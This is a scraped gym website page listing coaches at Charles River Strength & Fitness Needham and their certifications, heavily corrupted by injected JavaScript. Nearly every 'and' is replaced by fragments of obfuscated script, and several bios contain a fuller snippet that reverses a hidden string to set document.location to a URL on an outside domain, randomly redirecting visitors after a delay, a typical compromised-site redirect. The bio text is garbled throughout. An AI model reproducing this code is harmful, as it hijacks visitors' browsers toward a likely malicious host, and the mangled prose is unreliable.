At Charles River Strength & Fitness Needham, our coaches are experts in their fields, experienced in dealing with those new to fitness, all the way up to elite athletes. We work hard, remain dedicated to the safety of all our members, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have more fun than other other gym around. We can’t wait for you to meet us andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and join our amazing community!

”Erik

”Erik

”General

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Certifications:

• B.S. in Exercise Science from Arizona State University
• Certified Strength andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Conditioning Specialist from the National Strength andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Conditioning Association (NSCA)
• U.S.A. Track andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Field Level 1 Coach
• U.S.A. Weightlifting Club Coach
• NASM Corrective Exercise Specialist
• CrossFit Level 1 Coach
• CrossFit Movement andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Mobility
• CrossFit Rowing
• Optimum Performance Training CCP – Movement Assessment
• Optimum Performance Training CCP – Program Design
• Optimum Performance Training CCP – Nutrition
• Optimum Performance Training CCP – Business Systems
• Optimum Performance Training CCP – Life Coaching
• Pendlay Weightlifting Level 1
• Pendlay Weightlifting Level 2
• Complete Human Performance “Hybrid Training” Certified
• Training Think Tank Athletes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Coaches Seminar
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”Steve

”Steve

”CrossFit

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• Certifications: Bachelors Degree in English
• AFAA Personal Training Certification
• KBC Kettlebell Instructor Certification
• CrossFit Level 1 Coach Certification
• CrossFit Level 2 Coach Certification
• CrossFit Gymnastics Trainer Certification
• CrossFit C2 Rowing Coach Certification
• Pendlay Olympic Weightlifting Level 1 Coach Certification
• Pendlay Olympic Weightlifting Level 2 Coach Certification
• USAW Olympic Weightlifting Level 1 Coach Certification
• OPT/OPEX Level 1 Movement Assessment Coaching Certification
• Training Think Tank Athlete Camp andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Coaches Seminar
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”Kyle

”Kyle

”Performance

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Certifications:

• NSCA-CSCS
• USAW
• Bachelors Degree in Exercise Health Science – UMass Boston
• National Level Powerlifter
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”Carrick

”Carrick

”Performance

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Carrick trains an equally diverse client base: Corrective/Post PT, Athletic Performance, Adult Fitness/Movement, Obstacle Course andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Rugby Specific Training.

In addition to being a coach at CRSF, Carrick has been the Head Coach andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Strength/Conditioning Coach of Babson College Men’s Rugby since 2012 – The Beavers completed the 2017 season as the #4 team in NSCRO (USA).

Certifications:
NASM – CPT

World Rugby – Strength andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Conditioning / Level 100

USA Rugby – Coaching / Level 200

USA Rugby – Referee / Level 100

TRX
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”Grady

”Grady

”Performance

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Certifications:

• B.S. Exercise Science
• Certified Strength & Condition Specialist
• Certified Personal Trainer
• USA Weightlifting
• USA Power Lifting Member & Competitor”]

”Kerrie

”Kerrie

”Group

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Kerrie has an active lifestyle andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enjoys passing that on to others. Kerrie has always had a strong passion for exercise andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fitness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enjoys helping others achieve their goals. She makes it her goal to help others learn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and implement correct movement techniques to create stronger/faster athletes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and individuals. She takes pride in seeing progress with those that she trains andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shows enthusiasm to motivate all clients of all ages andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and levels of training.

Certifications:

• Performance Coach
• ACE Certified Personal Trainer
• TRX Certified
• B.S. in Exercise Science
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”Mary

”Mary

”CrossFit

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Certifications:
• CrossFit Level 1
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”Coleen

”Coleen

”CrossFit

) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and college sprinter. Two years ago she started Olympic Weightlifting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fell in love with the sport. She’s stronger than she’s been ever, lifting weights that she never thought were possible! She graduated with her degree in Psychology andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sociology from Assumption College andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her Masters Degree in higher education from Springfield College, but found her passion in the fitness industry.

Certifications:

• CrossFit Level 1 coach
• CrossFit Kids coach
• USA Weightlifting Sports Performance Coach
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”Jess

”Jess

”CrossFit

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Certifications:

CrossFit Level 1
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”Faith

”Faith

”CrossFit

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Certifications:

Salem State University
CrossFit Level I

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”Laura

”Laura

”CrossFit

) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fell in love with the sport. She has always led an active life, playing soccer, ice hockey as well as running track. Growing up, horseback riding was her second life after sports practice, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and today she still shows her horse Tiger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and competes with him in show jumping. She is a high energy, supportive coach that loves helping people succeed!

Certifications:

CrossFit Level 1
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”Eric

”Eric

”Physical

) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will be working as a rehab aid until he attends graduate school. Eric also works as a performance coach, teaching classes to all ages andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and skill levels. With his combined experience in both PT andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and training, Eric was the ideal person to lead our BRIDGE Program which helps patients transition from physical therapy back to regular training. Eric is excited to be a part of the CRSF team andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the CRSF community!

Certifications:

B.A. in Communication from Michigan State University
Completing Doctorate in Physical Therapy

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